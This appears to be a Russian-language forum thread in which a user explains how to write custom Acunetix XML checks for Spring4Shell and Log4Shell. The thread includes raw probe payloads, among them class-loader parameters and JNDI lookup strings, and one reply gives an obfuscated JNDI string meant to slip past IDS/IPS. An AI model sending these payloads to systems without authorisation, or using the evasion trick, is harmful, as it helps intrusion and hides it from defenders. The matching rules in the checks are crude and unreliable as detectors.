[HowTo] Кастомные сканеры для Acunetix (на примере реальных CVE)

[TwinFoxer]

Привет всем.
Решил поделиться опытом по допиливанию Acunetix кастомными чеками. Думаю многие сталкивались: свежий эксплойт уже гуляет по паблику, PoC’и выкладывают пачками, а в Acunetix проверки нет. Ждать апдейта движка долго, а закрывать дыру надо вчера.

Выход — писать свои проверки. Я покажу это на примерах двух топовых RCE последних лет: Spring4Shell (CVE-2022-22965) и Log4Shell (CVE-2021-44228).

---

Зачем нужны кастомные чеки?​

Acunetix хорош из коробки, но:

• новые баги появляются быстрее, чем обновления;
• иногда надо кастомизировать под конкретный проект;
• удобно отрезать лишний шум и FP.

Кастомные XML-файлы реально расширяют сканер: можно быстро прикрутить актуальные CVE и юзать их в пайплайне.

---

Архитектура чеков в Acunetix​

Каждый чек описывается в XML:

• Метаданные (Name, Description, Impact, Recommendation, CVE);
• HTTP-запросы (метод, URL, заголовки, параметры);
• Правила анализа ответа (Contains, Regex).

Файл кладётся в C:\ProgramData\Acunetix\checks\custom\ (Windows) или аналогичную папку в Linux. После рестарта Acunetix чек доступен в интерфейсе.

---

Пример 1: Spring4Shell (CVE-2022-22965)​

Кратко о баге​

Уязвимость в Spring Framework (Java), эксплуатируется через DataBinder и доступ к classLoader. В итоге можно добраться до RCE.
Уязвимы версии Spring < 5.3.18 и 5.2.20, плюс JDK 9+.

Payload’ы​

1. Через classLoader:

GET /?class.module.classLoader=1 HTTP/1.1
Host: target.com

1. Через classLoader.URLs:

GET /?class.module.classLoader.URLs[0]=http://example.com/test HTTP/1.1
Host: target.com

1. Через resources.context.parent.pipeline:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bdate%7D HTTP/1.1
Host: target.com

XML-чек​

<Vulnerability>
  <Name>Spring4Shell RCE (CVE-2022-22965)</Name>
  <Description>Spring Framework до 5.3.18 и 5.2.20 уязвим к RCE через DataBinder.</Description>
  <Impact>Удалённое выполнение кода.</Impact>
  <Recommendation>Обновить Spring Framework.</Recommendation>
  <CVE>CVE-2022-22965</CVE>

  <Request>
    <Method>GET</Method>
    <URL>/?class.module.classLoader=1</URL>
  </Request>
  <Response>
    <Contains>classLoader</Contains>
  </Response>

  <Request>
    <Method>GET</Method>
    <URL>/?class.module.classLoader.URLs[0]=http://test</URL>
  </Request>
  <Response>
    <Contains>Invalid property</Contains>
  </Response>

  <Request>
    <Method>GET</Method>
    <URL>/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bdate%7D</URL>
  </Request>
  <Response>
    <Contains>pattern</Contains>
  </Response>
</Vulnerability>

Пример 2: Log4Shell (CVE-2021-44228)​

Кратко о баге​

В Apache Log4j (2.x < 2.15.0) строка вида ${jndi:ldap://…} обрабатывается небезопасно → подтягивание данных через JNDI → RCE.
Один из самых массовых багов последних лет.

Payload’ы​

1. В GET-параметре:

GET /?v=${jndi:ldap://127.0.0.1:1389/a} HTTP/1.1
Host: target.com

1. В User-Agent:

GET / HTTP/1.1
Host: target.com
User-Agent: ${jndi:ldap://127.0.0.1:1389/b}

1. В X-Api-Version:

GET / HTTP/1.1
Host: target.com
X-Api-Version: ${jndi:ldap://127.0.0.1:1389/c}

XML-чек​

<Vulnerability>
  <Name>Apache Log4j RCE (Log4Shell) (CVE-2021-44228)</Name>
  <Description>Apache Log4j 2.x до 2.15.0 уязвим к удалённому выполнению кода через JNDI.</Description>
  <Impact>Удалённое выполнение кода.</Impact>
  <Recommendation>Обновить Log4j до версии 2.17.0 или выше.</Recommendation>
  <CVE>CVE-2021-44228</CVE>

  <Request>
    <Method>GET</Method>
    <URL>/?v=${jndi:ldap://127.0.0.1:1389/a}</URL>
  </Request>
  <Response>
    <Contains>ldap</Contains>
  </Response>

  <Request>
    <Method>GET</Method>
    <URL>/</URL>
    <Headers>
      <Header name="User-Agent">${jndi:ldap://127.0.0.1:1389/b}</Header>
    </Headers>
  </Request>
  <Response>
    <Contains>jndi</Contains>
  </Response>

  <Request>
    <Method>GET</Method>
    <URL>/</URL>
    <Headers>
      <Header name="X-Api-Version">${jndi:ldap://127.0.0.1:1389/c}</Header>
    </Headers>
  </Request>
  <Response>
    <Contains>Invalid</Contains>
  </Response>
</Vulnerability>

---

Практические советы​

• В Response используйте регулярки для точного детекта и снижения FP;
• Храните свои XML-чек файлы отдельно, чтобы при апдейтах Acunetix они не терялись;
• Для сложных багов комбинируйте несколько запросов подряд (триггер + валидация).

---

Заключение​

Теперь у нас есть два боевых примера кастомных чеков для Acunetix:

• Spring4Shell (CVE-2022-22965)
• Log4Shell (CVE-2021-44228)

Это рабочая схема, которая показывает, что не обязательно ждать обновления вендора: можно самому добавлять свежие CVE и держать сканер в актуальном состоянии.
Кастомные проверки = больше контроля, меньше FP и быстрее реакция на новые угрозы.

 

[P4R4D0X]

Брат, молодец, но не советую кидать в чек «${jndi:ldap://127.0.0.1:1389/a}». Некоторые IDS/IPS начинают орать даже на пассивные payload’ы.
Лучше юзать “обрезанный” вариант типа ${${::-j}${::-n}${::-d}${::-i:ldap://...}}. Так детектится тише.

 

[NoFace]

Всем ку! Я тут новенький. Подскажите, кто юзает окуня в проде, где брали актуальную версию? Можно даже старый билд, лишь бы работал.
Зарегался из за этой статьи

 

[TwinFoxer]

Всем ку! Я тут новенький. Подскажите, кто юзает окуня в проде, где брали актуальную версию? Можно даже старый билд, лишь бы работал.
Зарегался из за этой статьи

Вы должны быть зарегистрированы для просмотра ссылок

 

[NoFace]

Вы должны быть зарегистрированы для просмотра ссылок

От души